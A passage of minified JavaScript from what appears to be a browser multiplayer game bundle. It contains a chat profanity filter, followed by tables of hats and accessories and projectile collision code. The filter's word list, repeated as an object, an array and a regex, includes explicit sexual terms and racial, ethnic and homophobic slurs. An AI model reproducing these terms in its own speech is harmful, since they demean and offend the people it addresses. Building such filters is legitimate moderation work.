7100 fistfuckings: 1,
7101 fistfucks: 1,
7102 flange: 1,
7103 fook: 1,
7104 fooker: 1,
7105 fuck: 1,
7106 fucka: 1,
7107 fucked: 1,
7108 fucker: 1,
7109 fuckers: 1,
7110 fuckhead: 1,
7111 fuckheads: 1,
7112 fuckin: 1,
7113 fucking: 1,
7114 fuckings: 1,
7115 fuckingshitmotherfucker: 1,
7116 fuckme: 1,
7117 fucks: 1,
7118 fuckwhit: 1,
7119 fuckwit: 1,
7120 "fudge packer": 1,
7121 fudgepacker: 1,
7122 fuk: 1,
7123 fuker: 1,
7124 fukker: 1,
7125 fukkin: 1,
7126 fuks: 1,
7127 fukwhit: 1,
7128 fukwit: 1,
7129 fux: 1,
7130 fux0r: 1,
7131 f_u_c_k: 1,
7132 gangbang: 1,
7133 gangbanged: 1,
7134 gangbangs: 1,
7135 gaylord: 1,
7136 gaysex: 1,
7137 goatse: 1,
7138 God: 1,
7139 "god-dam": 1,
7140 "god-damned": 1,
7141 goddamn: 1,
7142 goddamned: 1,
7143 hardcoresex: 1,
7144 hell: 1,
7145 heshe: 1,
7146 hoar: 1,
7147 hoare: 1,
7148 hoer: 1,
7149 homo: 1,
7150 hore: 1,
7151 horniest: 1,
7152 horny: 1,
7153 hotsex: 1,
7154 "jack-off": 1,
7155 jackoff: 1,
7156 jap: 1,
7157 "jerk-off": 1,
7158 jism: 1,
7159 jiz: 1,
7160 jizm: 1,
7161 jizz: 1,
7162 kawk: 1,
7163 knob: 1,
7164 knobead: 1,
7165 knobed: 1,
7166 knobend: 1,
7167 knobhead: 1,
7168 knobjocky: 1,
7169 knobjokey: 1,
7170 kock: 1,
7171 kondum: 1,
7172 kondums: 1,
7173 kum: 1,
7174 kummer: 1,
7175 kumming: 1,
7176 kums: 1,
7177 kunilingus: 1,
7178 "l3i+ch": 1,
7179 l3itch: 1,
7180 labia: 1,
7181 lust: 1,
7182 lusting: 1,
7183 m0f0: 1,
7184 m0fo: 1,
7185 m45terbate: 1,
7186 ma5terb8: 1,
7187 ma5terbate: 1,
7188 masochist: 1,
7189 "master-bate": 1,
7190 masterb8: 1,
7191 "masterbat*": 1,
7192 masterbat3: 1,
7193 masterbate: 1,
7194 masterbation: 1,
7195 masterbations: 1,
7196 masturbate: 1,
7197 "mo-fo": 1,
7198 mof0: 1,
7199 mofo: 1,
7200 mothafuck: 1,
7201 mothafucka: 1,
7202 mothafuckas: 1,
7203 mothafuckaz: 1,
7204 mothafucked: 1,
7205 mothafucker: 1,
7206 mothafuckers: 1,
7207 mothafuckin: 1,
7208 mothafucking: 1,
7209 mothafuckings: 1,
7210 mothafucks: 1,
7211 "mother fucker": 1,
7212 motherfuck: 1,
7213 motherfucked: 1,
7214 motherfucker: 1,
7215 motherfuckers: 1,
7216 motherfuckin: 1,
7217 motherfucking: 1,
7218 motherfuckings: 1,
7219 motherfuckka: 1,
7220 motherfucks: 1,
7221 muff: 1,
7222 mutha: 1,
7223 muthafecker: 1,
7224 muthafuckker: 1,
7225 muther: 1,
7226 mutherfucker: 1,
7227 n1gga: 1,
7228 n1gger: 1,
7229 nazi: 1,
7230 nigg3r: 1,
7231 nigg4h: 1,
7232 nigga: 1,
7233 niggah: 1,
7234 niggas: 1,
7235 niggaz: 1,
7236 nigger: 1,
7237 niggers: 1,
7238 nob: 1,
7239 "nob jokey": 1,
7240 nobhead: 1,
7241 nobjocky: 1,
7242 nobjokey: 1,
7243 numbnuts: 1,
7244 nutsack: 1,
7245 orgasim: 1,
7246 orgasims: 1,
7247 orgasm: 1,
7248 orgasms: 1,
7249 p0rn: 1,
7250 pawn: 1,
7251 pecker: 1,
7252 penis: 1,
7253 penisfucker: 1,
7254 phonesex: 1,
7255 phuck: 1,
7256 phuk: 1,
7257 phuked: 1,
7258 phuking: 1,
7259 phukked: 1,
7260 phukking: 1,
7261 phuks: 1,
7262 phuq: 1,
7263 pigfucker: 1,
7264 pimpis: 1,
7265 piss: 1,
7266 pissed: 1,
7267 pisser: 1,
7268 pissers: 1,
7269 pisses: 1,
7270 pissflaps: 1,
7271 pissin: 1,
7272 pissing: 1,
7273 pissoff: 1,
7274 poop: 1,
7275 porn: 1,
7276 porno: 1,
7277 pornography: 1,
7278 pornos: 1,
7279 prick: 1,
7280 pricks: 1,
7281 pron: 1,
7282 pube: 1,
7283 pusse: 1,
7284 pussi: 1,
7285 pussies: 1,
7286 pussy: 1,
7287 pussys: 1,
7288 rectum: 1,
7289 retard: 1,
7290 rimjaw: 1,
7291 rimming: 1,
7292 "s hit": 1,
7293 "s.o.b.": 1,
7294 sadist: 1,
7295 schlong: 1,
7296 screwing: 1,
7297 scroat: 1,
7298 scrote: 1,
7299 scrotum: 1,
7300 semen: 1,
7301 sex: 1,
7302 "sh!+": 1,
7303 "sh!t": 1,
7304 sh1t: 1,
7305 shag: 1,
7306 shagger: 1,
7307 shaggin: 1,
7308 shagging: 1,
7309 shemale: 1,
7310 "shi+": 1,
7311 shit: 1,
7312 shitdick: 1,
7313 shite: 1,
7314 shited: 1,
7315 shitey: 1,
7316 shitfuck: 1,
7317 shitfull: 1,
7318 shithead: 1,
7319 shiting: 1,
7320 shitings: 1,
7321 shits: 1,
7322 shitted: 1,
7323 shitter: 1,
7324 shitters: 1,
7325 shitting: 1,
7326 shittings: 1,
7327 shitty: 1,
7328 skank: 1,
7329 slut: 1,
7330 sluts: 1,
7331 smegma: 1,
7332 smut: 1,
7333 snatch: 1,
7334 "son-of-a-bitch": 1,
7335 spac: 1,
7336 spunk: 1,
7337 s_h_i_t: 1,
7338 t1tt1e5: 1,
7339 t1tties: 1,
7340 teets: 1,
7341 teez: 1,
7342 testical: 1,
7343 testicle: 1,
7344 tit: 1,
7345 titfuck: 1,
7346 tits: 1,
7347 titt: 1,
7348 tittie5: 1,
7349 tittiefucker: 1,
7350 titties: 1,
7351 tittyfuck: 1,
7352 tittywank: 1,
7353 titwank: 1,
7354 tosser: 1,
7355 turd: 1,
7356 tw4t: 1,
7357 twat: 1,
7358 twathead: 1,
7359 twatty: 1,
7360 twunt: 1,
7361 twunter: 1,
7362 v14gra: 1,
7363 v1gra: 1,
7364 vagina: 1,
7365 viagra: 1,
7366 vulva: 1,
7367 w00se: 1,
7368 wang: 1,
7369 wank: 1,
7370 wanker: 1,
7371 wanky: 1,
7372 whoar: 1,
7373 whore: 1,
7374 willies: 1,
7375 willy: 1,
7376 xrated: 1,
7377 xxx: 1
7378 }
7379}, function (e, t) {
7380 e.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked", "mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings", "mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker", "motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky", "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard", "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits", "shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit", "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated", "xxx"]
7381}, function (e, t) {
7382 e.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi
7383}, function (e, t) {
7384 e.exports.hats = [{
7385 id: 45,
7386 name: "Shame!",
7387 dontSell: !0,
7388 price: 0,
7389 scale: 120,
7390 desc: "hacks are for losers"
7391 }, {
7392 id: 51,
7393 name: "Moo Cap",
7394 price: 0,
7395 scale: 120,
7396 desc: "coolest mooer around"
7397 }, {
7398 id: 50,
7399 name: "Apple Cap",
7400 price: 0,
7401 scale: 120,
7402 desc: "apple farms remembers"
7403 }, {
7404 id: 28,
7405 name: "Moo Head",
7406 price: 0,
7407 scale: 120,
7408 desc: "no effect"
7409 }, {
7410 id: 29,
7411 name: "Pig Head",
7412 price: 0,
7413 scale: 120,
7414 desc: "no effect"
7415 }, {
7416 id: 30,
7417 name: "Fluff Head",
7418 price: 0,
7419 scale: 120,
7420 desc: "no effect"
7421 }, {
7422 id: 36,
7423 name: "Pandou Head",
7424 price: 0,
7425 scale: 120,
7426 desc: "no effect"
7427 }, {
7428 id: 37,
7429 name: "Bear Head",
7430 price: 0,
7431 scale: 120,
7432 desc: "no effect"
7433 }, {
7434 id: 38,
7435 name: "Monkey Head",
7436 price: 0,
7437 scale: 120,
7438 desc: "no effect"
7439 }, {
7440 id: 44,
7441 name: "Polar Head",
7442 price: 0,
7443 scale: 120,
7444 desc: "no effect"
7445 }, {
7446 id: 35,
7447 name: "Fez Hat",
7448 price: 0,
7449 scale: 120,
7450 desc: "no effect"
7451 }, {
7452 id: 42,
7453 name: "Enigma Hat",
7454 price: 0,
7455 scale: 120,
7456 desc: "join the enigma army"
7457 }, {
7458 id: 43,
7459 name: "Blitz Hat",
7460 price: 0,
7461 scale: 120,
7462 desc: "hey everybody i'm blitz"
7463 }, {
7464 id: 49,
7465 name: "Bob XIII Hat",
7466 price: 0,
7467 scale: 120,
7468 desc: "like and subscribe"
7469 }, {
7470 id: 57,
7471 name: "Pumpkin",
7472 price: 50,
7473 scale: 120,
7474 desc: "Spooooky"
7475 }, {
7476 id: 8,
7477 name: "Bummle Hat",
7478 price: 100,
7479 scale: 120,
7480 desc: "no effect"
7481 }, {
7482 id: 2,
7483 name: "Straw Hat",
7484 price: 500,
7485 scale: 120,
7486 desc: "no effect"
7487 }, {
7488 id: 15,
7489 name: "Winter Cap",
7490 price: 600,
7491 scale: 120,
7492 desc: "allows you to move at normal speed in snow",
7493 coldM: 1
7494 }, {
7495 id: 5,
7496 name: "Cowboy Hat",
7497 price: 1e3,
7498 scale: 120,
7499 desc: "no effect"
7500 }, {
7501 id: 4,
7502 name: "Ranger Hat",
7503 price: 2e3,
7504 scale: 120,
7505 desc: "no effect"
7506 }, {
7507 id: 18,
7508 name: "Explorer Hat",
7509 price: 2e3,
7510 scale: 120,
7511 desc: "no effect"
7512 }, {
7513 id: 31,
7514 name: "Flipper Hat",
7515 price: 2500,
7516 scale: 120,
7517 desc: "have more control while in water",
7518 watrImm: !0
7519 }, {
7520 id: 1,
7521 name: "Marksman Cap",
7522 price: 3e3,
7523 scale: 120,
7524 desc: "increases arrow speed and range",
7525 aMlt: 1.3
7526 }, {
7527 id: 10,
7528 name: "Bush Gear",
7529 price: 3e3,
7530 scale: 160,
7531 desc: "allows you to disguise yourself as a bush"
7532 }, {
7533 id: 48,
7534 name: "Halo",
7535 price: 3e3,
7536 scale: 120,
7537 desc: "no effect"
7538 }, {
7539 id: 6,
7540 name: "Soldier Helmet",
7541 price: 4e3,
7542 scale: 120,
7543 desc: "reduces damage taken but slows movement",
7544 spdMult: .94,
7545 dmgMult: .75
7546 }, {
7547 id: 23,
7548 name: "Anti Venom Gear",
7549 price: 4e3,
7550 scale: 120,
7551 desc: "makes you immune to poison",
7552 poisonRes: 1
7553 }, {
7554 id: 13,
7555 name: "Medic Gear",
7556 price: 5e3,
7557 scale: 110,
7558 desc: "slowly regenerates health over time",
7559 healthRegen: 3
7560 }, {
7561 id: 9,
7562 name: "Miners Helmet",
7563 price: 5e3,
7564 scale: 120,
7565 desc: "earn 1 extra gold per resource",
7566 extraGold: 1
7567 }, {
7568 id: 32,
7569 name: "Musketeer Hat",
7570 price: 5e3,
7571 scale: 120,
7572 desc: "reduces cost of projectiles",
7573 projCost: .5
7574 }, {
7575 id: 7,
7576 name: "Bull Helmet",
7577 price: 6e3,
7578 scale: 120,
7579 desc: "increases damage done but drains health",
7580 healthRegen: -5,
7581 dmgMultO: 1.5,
7582 spdMult: .96
7583 }, {
7584 id: 22,
7585 name: "Emp Helmet",
7586 price: 6e3,
7587 scale: 120,
7588 desc: "turrets won't attack but you move slower",
7589 antiTurret: 1,
7590 spdMult: .7
7591 }, {
7592 id: 12,
7593 name: "Booster Hat",
7594 price: 6e3,
7595 scale: 120,
7596 desc: "increases your movement speed",
7597 spdMult: 1.16
7598 }, {
7599 id: 26,
7600 name: "Barbarian Armor",
7601 price: 8e3,
7602 scale: 120,
7603 desc: "knocks back enemies that attack you",
7604 dmgK: .6
7605 }, {
7606 id: 21,
7607 name: "Plague Mask",
7608 price: 1e4,
7609 scale: 120,
7610 desc: "melee attacks deal poison damage",
7611 poisonDmg: 5,
7612 poisonTime: 6
7613 }, {
7614 id: 46,
7615 name: "Bull Mask",
7616 price: 1e4,
7617 scale: 120,
7618 desc: "bulls won't target you unless you attack them",
7619 bullRepel: 1
7620 }, {
7621 id: 14,
7622 name: "Windmill Hat",
7623 topSprite: !0,
7624 price: 1e4,
7625 scale: 120,
7626 desc: "generates points while worn",
7627 pps: 1.5
7628 }, {
7629 id: 11,
7630 name: "Spike Gear",
7631 topSprite: !0,
7632 price: 1e4,
7633 scale: 120,
7634 desc: "deal damage to players that damage you",
7635 dmg: .45
7636 }, {
7637 id: 53,
7638 name: "Turret Gear",
7639 topSprite: !0,
7640 price: 1e4,
7641 scale: 120,
7642 desc: "you become a walking turret",
7643 turret: {
7644 proj: 1,
7645 range: 700,
7646 rate: 2500
7647 },
7648 spdMult: .7
7649 }, {
7650 id: 20,
7651 name: "Samurai Armor",
7652 price: 12e3,
7653 scale: 120,
7654 desc: "increased attack speed and fire rate",
7655 atkSpd: .78
7656 }, {
7657 id: 58,
7658 name: "Dark Knight",
7659 price: 12e3,
7660 scale: 120,
7661 desc: "restores health when you deal damage",
7662 healD: .4
7663 }, {
7664 id: 27,
7665 name: "Scavenger Gear",
7666 price: 15e3,
7667 scale: 120,
7668 desc: "earn double points for each kill",
7669 kScrM: 2
7670 }, {
7671 id: 40,
7672 name: "Tank Gear",
7673 price: 15e3,
7674 scale: 120,
7675 desc: "increased damage to buildings but slower movement",
7676 spdMult: .3,
7677 bDmg: 3.3
7678 }, {
7679 id: 52,
7680 name: "Thief Gear",
7681 price: 15e3,
7682 scale: 120,
7683 desc: "steal half of a players gold when you kill them",
7684 goldSteal: .5
7685 }, {
7686 id: 55,
7687 name: "Bloodthirster",
7688 price: 2e4,
7689 scale: 120,
7690 desc: "Restore Health when dealing damage. And increased damage",
7691 healD: .25,
7692 dmgMultO: 1.2
7693 }, {
7694 id: 56,
7695 name: "Assassin Gear",
7696 price: 2e4,
7697 scale: 120,
7698 desc: "Go invisible when not moving. Can't eat. Increased speed",
7699 noEat: !0,
7700 spdMult: 1.1,
7701 invisTimer: 1e3
7702 }], e.exports.accessories = [{
7703 id: 12,
7704 name: "Snowball",
7705 price: 1e3,
7706 scale: 105,
7707 xOff: 18,
7708 desc: "no effect"
7709 }, {
7710 id: 9,
7711 name: "Tree Cape",
7712 price: 1e3,
7713 scale: 90,
7714 desc: "no effect"
7715 }, {
7716 id: 10,
7717 name: "Stone Cape",
7718 price: 1e3,
7719 scale: 90,
7720 desc: "no effect"
7721 }, {
7722 id: 3,
7723 name: "Cookie Cape",
7724 price: 1500,
7725 scale: 90,
7726 desc: "no effect"
7727 }, {
7728 id: 8,
7729 name: "Cow Cape",
7730 price: 2e3,
7731 scale: 90,
7732 desc: "no effect"
7733 }, {
7734 id: 11,
7735 name: "Monkey Tail",
7736 price: 2e3,
7737 scale: 97,
7738 xOff: 25,
7739 desc: "Super speed but reduced damage",
7740 spdMult: 1.35,
7741 dmgMultO: .2
7742 }, {
7743 id: 17,
7744 name: "Apple Basket",
7745 price: 3e3,
7746 scale: 80,
7747 xOff: 12,
7748 desc: "slowly regenerates health over time",
7749 healthRegen: 1
7750 }, {
7751 id: 6,
7752 name: "Winter Cape",
7753 price: 3e3,
7754 scale: 90,
7755 desc: "no effect"
7756 }, {
7757 id: 4,
7758 name: "Skull Cape",
7759 price: 4e3,
7760 scale: 90,
7761 desc: "no effect"
7762 }, {
7763 id: 5,
7764 name: "Dash Cape",
7765 price: 5e3,
7766 scale: 90,
7767 desc: "no effect"
7768 }, {
7769 id: 2,
7770 name: "Dragon Cape",
7771 price: 6e3,
7772 scale: 90,
7773 desc: "no effect"
7774 }, {
7775 id: 1,
7776 name: "Super Cape",
7777 price: 8e3,
7778 scale: 90,
7779 desc: "no effect"
7780 }, {
7781 id: 7,
7782 name: "Troll Cape",
7783 price: 8e3,
7784 scale: 90,
7785 desc: "no effect"
7786 }, {
7787 id: 14,
7788 name: "Thorns",
7789 price: 1e4,
7790 scale: 115,
7791 xOff: 20,
7792 desc: "no effect"
7793 }, {
7794 id: 15,
7795 name: "Blockades",
7796 price: 1e4,
7797 scale: 95,
7798 xOff: 15,
7799 desc: "no effect"
7800 }, {
7801 id: 20,
7802 name: "Devils Tail",
7803 price: 1e4,
7804 scale: 95,
7805 xOff: 20,
7806 desc: "no effect"
7807 }, {
7808 id: 16,
7809 name: "Sawblade",
7810 price: 12e3,
7811 scale: 90,
7812 spin: !0,
7813 xOff: 0,
7814 desc: "deal damage to players that damage you",
7815 dmg: .15
7816 }, {
7817 id: 13,
7818 name: "Angel Wings",
7819 price: 15e3,
7820 scale: 138,
7821 xOff: 22,
7822 desc: "slowly regenerates health over time",
7823 healthRegen: 3
7824 }, {
7825 id: 19,
7826 name: "Shadow Wings",
7827 price: 15e3,
7828 scale: 138,
7829 xOff: 22,
7830 desc: "increased movement speed",
7831 spdMult: 1.1
7832 }, {
7833 id: 18,
7834 name: "Blood Wings",
7835 price: 2e4,
7836 scale: 178,
7837 xOff: 26,
7838 desc: "restores health when you deal damage",
7839 healD: .2
7840 }, {
7841 id: 21,
7842 name: "Corrupt X Wings",
7843 price: 2e4,
7844 scale: 178,
7845 xOff: 26,
7846 desc: "deal damage to players that damage you",
7847 dmg: .25
7848 }]
7849}, function (e, t) {
7850 e.exports = function (e, t, n, i, r, s, a) {
7851 this.init = function (e, t, n, i, r, s, o, c, l) {
7852 this.active = !0, this.indx = e, this.x = t, this.y = n, this.dir = i, this.skipMov = !0, this.speed = r, this.dmg = s, this.scale = c, this.range = o, this.owner = l, a && (this.sentTo = {})
7853 };
7854 var o, c = [];
7855 this.update = function (l) {
7856 if (this.active) {
7857 var h, u = this.speed * l;
7858 if (this.skipMov ? this.skipMov = !1 : (this.x += u * Math.cos(this.dir), this.y += u * Math.sin(this.dir), this.range -= u, this.range <= 0 && (this.x += this.range * Math.cos(this.dir), this.y += this.range * Math.sin(this.dir), u = 1, this.range = 0, this.active = !1)), a) {
7859 for (var f = 0; f < e.length; ++f) !this.sentTo[e[f].id] && e[f].canSee(this) && (this.sentTo[e[f].id] = 1, a.send(e[f].id, "18", s.fixTo(this.x, 1), s.fixTo(this.y, 1), s.fixTo(this.dir, 2), s.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid));
7860 for (c.length = 0, f = 0; f < e.length + t.length; ++f) !(o = e[f] || t[f - e.length]).alive || o == this.owner || this.owner.team && o.team == this.owner.team || s.lineInRect(o.x - o.scale, o.y - o.scale, o.x + o.scale, o.y + o.scale, this.x, this.y, this.x + u * Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(o);
7861 for (var d = n.getGridArrays(this.x, this.y, this.scale), p = 0; p < d.length; ++p)
7862 for (var g = 0; g < d[p].length; ++g) h = (o = d[p][g]).getScale(), o.active && this.ignoreObj != o.sid && this.layer <= o.layer && c.indexOf(o) < 0 && !o.ignoreCollision && s.lineInRect(o.x - h, o.y - h, o.x + h, o.y + h, this.x, this.y, this.x + u * Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(o);
7863 if (c.length > 0) {
7864 var m = null,
7865 y = null,
7866 k = null;
7867 for (f = 0; f < c.length; ++f) k = s.getDistance(this.x, this.y, c[f].x, c[f].y), (null == y || k < y) && (y = k, m = c[f]);
7868 if (m.isPlayer || m.isAI) {
7869 var v = .3 * (m.weightM || 1);
7870 m.xVel += v * Math.cos(this.dir), m.yVel += v * Math.sin(this.dir), null != m.weaponIndex && i.weapons[m.weaponIndex].shield && s.getAngleDist(this.dir + Math.PI, m.dir) <= r.shieldAngle || m.changeHealth(-this.dmg, this.owner, this.owner)
7871 } else
7872 for (m.projDmg && m.health && m.changeHealth(-this.dmg) && n.disableObj(m), f = 0; f < e.length; ++f) e[f].active && (m.sentTo[e[f].id] && (m.active ? e[f].canSee(m) && a.send(e[f].id, "8", s.fixTo(this.dir, 2), m.sid) : a.send(e[f].id, "12", m.sid)), m.active || m.owner != e[f] || e[f].changeItemCount(m.group.id, -1));
7873 for (this.active = !1, f = 0; f < e.length; ++f) this.sentTo[e[f].id] && a.send(e[f].id, "19", this.sid, s.fixTo(y, 1))
7874 }
7875 }
7876 }
7877 }
7878 }
7879}, function (e, t) {
7880 e.exports = function (e, t, n, i, r, s, a, o, c) {
7881 this.addProjectile = function (l, h, u, f, d, p, g, m, y) {
7882 for (var k, v = s.projectiles[p], w = 0; w < t.length; ++w)
7883 if (!t[w].active) {
7884 k = t[w];
7885 break
7886 } return k || ((k = new e(n, i, r, s, a, o, c)).sid = t.length, t.push(k)), k.init(p, l, h, u, d, v.dmg, f, v.scale, g), k.ignoreObj = m, k.layer = y || v.layer, k.src = v.src, k
7887 }
7888 }
7889}, function (e, t) {
7890 e.exports.obj = function (e, t) {
7891 var n;
